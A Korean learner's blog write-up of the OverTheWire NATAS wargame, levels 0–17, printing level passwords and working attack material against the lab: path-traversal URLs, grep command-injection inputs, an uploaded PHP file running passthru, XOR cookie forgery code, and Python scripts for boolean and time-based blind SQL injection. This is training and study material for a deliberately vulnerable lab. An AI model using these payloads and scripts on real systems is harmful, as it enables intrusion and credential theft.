.

overthewire : NATAS

by 담배맛구마


난 컴알못이니까 NATAS


Level 0

<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->



Level 0 to 1

<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->



Level 1 to 2

1x1 이미지 하나있길래 다운로드 받아서 코드 봤더니 별 이상 없군

그냥 디렉토리 리스팅하니까 users.txt 존재

# username:password

alice:BYNdCesZqW

bob:jw2ueICLvT

charlie:G5vCxkVV3m

natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

eve:zo4mJWyNj2

mallory:9urtcpzBmH



Level 2 to 3

<!-- No more information leaks!! Not even Google will find it this time... --> 이라네

모르겠다 이거 쿠키인줄 알고 EditThisCookie 부랴부랴 설치했는데 음슴


아 Not even Google will find it this time... 이 말이 Google Robot을 말하는 거였대 ㅠ




http://natas0.natas.labs.overthewire.org/robots.txt보면 

User-agent: *

Disallow: /s3cr3t/

그니까 /s3cr3t/는 Robot이 크롤링 못하게 막는 다는 거니까 


http://natas0.natas.labs.overthewire.org/s3cr3t/ 들어가면 여기도 users.txt있음


natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ



Level 3 to 4


현재 페이지 http://natas4.natas.labs.overthewire.org/


Refresh page 버튼 누르면


현재 페이지 http://natas4.natas.labs.overthewire.org/index.php


인가 받은 유저가

natas5.natas.labs.overthewire.org에서

natas4.natas.labs.overthewire.org로 요청해야 됨


프록시로

현재 요청하는 페이지를 natas5.natas.labs.overthewire.org로 만들어버리면 될 듯


Paros 밖에 쓸줄 모르는데 핫 하다는 Fiddler로 해보자


Referer 수정



iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq



Level 4 to 5

걍 쿠키 확인해보니까 loggedin이 0이길래 1로 바꾸니까 됨

aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1



Level 5 to 6

소스버튼 누르면 서버측 소스코드가 보임


제출한 문자열이랑 $secret 변수랑 비교하고있고 $secret 변수는 따로 정의되어있지 않을걸로 보아

상단에 include된 includes/secret.inc문서에 있을 듯



$secret = "FOEIUWGHFEEUHOFUOIU";


7z3hEENjQtflzgnT29q7wAvMNfZdh0i9



Level 6 to 7

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->


주요소스는 아래와 같은데 딱 느낌이 매개변수 변경해보고 싶다

<a href="index.php?page=home">Home</a>

<a href="index.php?page=about">About</a>




이번건은 에러페이지를 통한 정보수집인것 같다


패스워드는 /etc/natas_webpass/natas8에 있고


현재 페이지는 /var/www/natas/natas7/index.php이다.


/var/www/natas/natas7/index.php?page=account 했을 때, account파일을 찾을 수 없다고 했어


account 파일을 찾는 위치는 .(현재 디렉토리), /usr/share/php, /usr/share/pear 이렇게 3군데


page값에다가 ../../../../etc/natas_webpass/natas8 넣으면 될 듯


물론 page=../../../../etc/natas_webpass/natas8 이렇게 넣으면 안되고 URL 인코딩


natas7.natas.labs.overthewire.org/index.php?page=..%2f..%2f..%2f..%2fetc%2fnatas_webpass%2fnatas8


DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe



Level 7 to 8

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {

    return bin2hex(strrev(base64_encode($secret)));

}


encodeSecret 돌린 문자열이 $encodedSecret 이랑 똑같아지게끔 하면 됨


bin2hex를 그냥 진법 변환이 아니라 아스키값을 의미! 

이것 때문에 많이 헤맴


==QcCtmMml1ViV3b

b3ViV1lmMmtCcQ==

oubWYf2kBq


W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl



Level 8 to 9

<?

$key = "";


if(array_key_exists("needle", $_REQUEST)) {

    $key = $_REQUEST["needle"];

}


if($key != "") {

    passthru("grep -i $key dictionary.txt");

}

?>


쉽네 grep -i /etc/natas_webpass/natas10 dictionary.txt


이렇게 실행되게 만들면 되니까 


/etc/natas_webpass/natas10 입력


/etc/natas_webpass/natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

.....



Level 9 to 10

For security reasons, we now filter on certain characters 헐 ㅋ


<?

$key = "";


if(array_key_exists("needle", $_REQUEST)) {

    $key = $_REQUEST["needle"];

}


if($key != "") {

    if(preg_match('/[;|&]/',$key)) {

        print "Input contains an illegal character!";

    } else {

        passthru("grep -i $key dictionary.txt");

    }

}

?>


필터링이라는게 '/[;|&]/' 이런 정규표현식이 안 들어가게


grep -i /etc/natas_webpass/natas11 dictionary.txt


이 되게끔 하라는거네


근데 난 위에 했던 그대로 해도 가능함 뭐지?


필터링 자체는 세미콜론이랑 & 인것같은데 또 다른 풀이법이 있는 듯


아마 파이프 && 이런거 쓰는 것 같기도


/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK



Level 10 to 11

Cookies are protected with XOR encryption


소스코드는 굳이 안적고 이번 문제는 XOR_encryption함수를 풀어야되는거네


전체적인 흐름은

1st) $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

2nd) COOKIE에 변경된 값들이 있는지 확인

i) 있으면 가져와서 $data에 저장

ii) 없으면 걍 $defaultdata를 $data에 저장

3rd) 인풋으로 넘겨준 bgcolor값을 $data에 저장

4th) Cookie에 data라는 이름으로 저장


문제의 그 함수는 아래와 같다

function xor_encrypt($in) {

$key = '<censored>';

$text = $in;

$outText = '';


// Iterate through each character

for($i=0; $i<strlen($text); $i++) {

$outText .= $text[$i] ^ $key[$i % strlen($key)];

}

return $outText;

}


Key값이랑 XOR연산이니까 정리하자면

새로운 Cookie값 = 기존의 Cookie값 ^ Key값

이고

Key값 = 새로운 Cookie값 ^ 기존의 Cookie값

이라는걸 생각하고 풀면될 것 같다.


<?php

    $origin_cookie = base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D");

    

function xor_encrypt($in) {

   $key = json_encode(array("showpassword"=>"no", "bgcolor"=>"#ffffff"));

   $text = $in;

   $outText = '';


   // Iterate through each character

   for($i=0; $i<strlen($text); $i++) {

    $outText .= $text[$i] ^ $key[$i % strlen($key)];

   }


   return $outText;

}


echo xor_encrypt($origin_cookie);

?>


결과값은  qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8JqL


key값이 qw8J로 확인


인제 key도 알았으니 showpassword이 yes일 때의 cookie값만 구해내면 됨


 <?

  $newdata = json_encode(array("showpassword"=>"yes", "bgcolor"=>"#ffffff"));

function xor_encrypt($in) {

   $key = "qw8J";

   $text = $in;

   $outText = '';


   for($i=0; $i < strlen($text); $i++) {

    $outText .= $text[$i] ^ $key[$i % strlen($key)];

   }

   return $outText;

}


echo base64_encode(xor_encrypt($newdata));

?>


값은 ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK


The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3



Level 11 to 12

filename 파라미터로 [ 랜덤생성한값.jpg ] 전송

filename으로 부터 확장자 추출해서 upload.또다른랜덤생성한값.확장자 이런식으로 파일 생성


프록시로 파일 넘길 때, filename 파라미터 값을 test.php로 변경해서 전송하면

upload/또다른랜덤생성한값.php으로 생성되서 php실행 가능해질 것 같다


업로드 시킬 php 문서는

<?

passthru("cat /etc/natas_webpass/natas13");

?>

이거하면 될 것 같음


jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY



Level 12 to 13

파일 시그니쳐 변경


Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1



Level 13 to 14

SQL INJECTION


AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J



Level 14 to 15

BLIND SQL INJECTION


Brute Force 코드 처음 짜본다. 재밋다

#Set Hedaer
import urllib, urllib2
import base64
baseUrl ="http://natas15.natas.labs.overthewire.org/index.php"
authValue = "Basic "+ base64.encodestring('natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J')[:-1]
header = {"Authorization" : authValue}

#Create Reg
import re
resultReg = re.compile("This user exists\.")

#Create string
import string
btStr = string.letters + string.digits

#Create Thread, Queue
import threading
import Queue
que = Queue.Queue()
def query(q):
    resp = urllib2.urlopen(urllib2.Request(baseUrl, q, headers = header))
    if resultReg.search(resp.read()):
        que.put(q)

#Check Password Length
queryString1 = "username=natas16\" AND LENGTH(password)=\"{0}"
threads = []
for passwordLen in xrange(0,65):
    t = threading.Thread(target=query, args=(queryString1.format(passwordLen),))
    t.start()
    threads.append(t)
for thread in threads:
    thread.join()
passwordLen = que.get(True)[-2:]
print "PASSWORD LENGTH : " + passwordLen

#Brute Force
password = ""
queryString2 = "username=natas16\" AND SUBSTRING(password, {0}, 1) LIKE BINARY \"{1}"
for count in xrange(1, int(passwordLen)+1):
    threads = []
    for bt in btStr:
        t = threading.Thread(target=query, args=(queryString2.format(count, bt),))
        t.start()
        threads.append(t)
    for thread in threads:
        thread.join()
    password += que.get(True)[-1:]
print "PASSWORD : " + password

출력

PASSWORD LENGTH : 32

PASSWORD : WaIHEacj63wnNIBROHeqi3p9t0m5nhmh



Level 15 to 16


이번꺼는 Bash의 Command Line에서 명령어 실행하는거

$(echo a) 하면 걍 문자 a 임 - 몰라서 해멤


#Set Hedaer
from urllib import urlencode
import urllib2
from base64 import encodestring
baseUrl ="http://natas16.natas.labs.overthewire.org/index.php"
authValue = "Basic "+ encodestring('natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')[:-1]
header = {"Authorization" : authValue}

#Create Reg
import re
resultReg = re.compile("cheers")

#Create string
import string
btStr = string.letters + string.digits

#Create Thread, Queue
import threading
import Queue

password = ""
queryString = "$(grep -e ^{0} /etc/natas_webpass/natas17)cheers"
que = Queue.Queue()
def query(bt):
    q = "?" + urlencode({"needle" : queryString.format(password + bt), "submit" : "Search"})
    resp = urllib2.urlopen(urllib2.Request(baseUrl + q, headers = header))
    if resultReg.search(resp.read()):
        return
    else :
        que.put(bt)

#Brute Force
threads = []
for count in xrange(0, 32):
    for bt in btStr:
        t = threading.Thread(target=query, args=(bt, ))
        t.start()
        threads.append(t)
    for thread in threads:
        thread.join()
    password += que.get(True)
    print "FOUND : " + password + "#" * int(32 - len(password))

print "PASSWORD : " + password

PASSWORD : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw



Level 16 to 17

이건 SQL Query에 대한 응답값을 얻을 수 없네 정상적이든 뭐든 응답값을 주석처리해놨어


이상하다... SLEEP() 명령어 자체를 안받는다 ㅋㅋㅋㅋㅋ 고장났나??


인터넷에 코드들 그대로 박아도 실행안됨 ㅋㅋㅋㅋㅋㅋ


'17. 2. 8. 다시 시작! 근데 이번에는 SLEEP 제대로 먹히네 ㅠㅠ 코드도 옛날꺼 그대론데... 화난다


하... LENGTH가 안먹혀서 고생고생하다가 CHAR_LENGTH라는거 써보니까 됨

import urllib, urllib2
from base64 import encodestring
import time
import string
import threading
import Queue

base_url = "http://natas17.natas.labs.overthewire.org/index.php?debug=True"
header = {"Authorization" : "Basic "+ encodestring('natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')[:-1]}

que = Queue.Queue()
time_of_sleep = 10

def query(q):
	time_start = time.time()
	resp = urllib2.urlopen(urllib2.Request(base_url, q, headers = header))
	time_interval = time.time() - time_start
	if time_interval > time_of_sleep:
		que.put(q)

#Check Password Length
threads = []
queryString1 = 'natas18" AND IF(CHAR_LENGTH(password)="{0}", SLEEP({1}), null);#{0}'
for passwordLen in xrange(1, 65):
	q = urllib.urlencode({'username' : queryString1.format(passwordLen, time_of_sleep)})
	t = threading.Thread(target=query, args=(q,))
	t.start()
	threads.append(t)
for thread in threads:
	thread.join()
passwordLen = que.get(True)[-2:]
print "PASSWORD LENGH : " + str(passwordLen)

#Find out password!
password = ""
dictionary = string.letters + string.digits
queryString2 = 'natas18" AND IF(SUBSTRING(password, {0}, 1) LIKE BINARY "{1}", SLEEP({2}), null);#{1}'
threads = []
for count in xrange(1, int(passwordLen)+1):
	print "PASSWORD : " + password + "*"*(passwordLen-count)
	for dic in dictionary:
		q = urllib.urlencode({'username' : queryString2.format(count, dic, time_of_sleep)})	
		t = threading.Thread(target=query, args=(q, ))
		t.start()
		threads.append(t)
	for thread in threads:
		thread.join()
	password += que.get(True)[-1:]
print password

PASSWORD : xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP



Level 18 to 19






Level 15 to 16




Level 15 to 16



반응형

블로그의 정보

정윤상이다.

담배맛구마

활동하기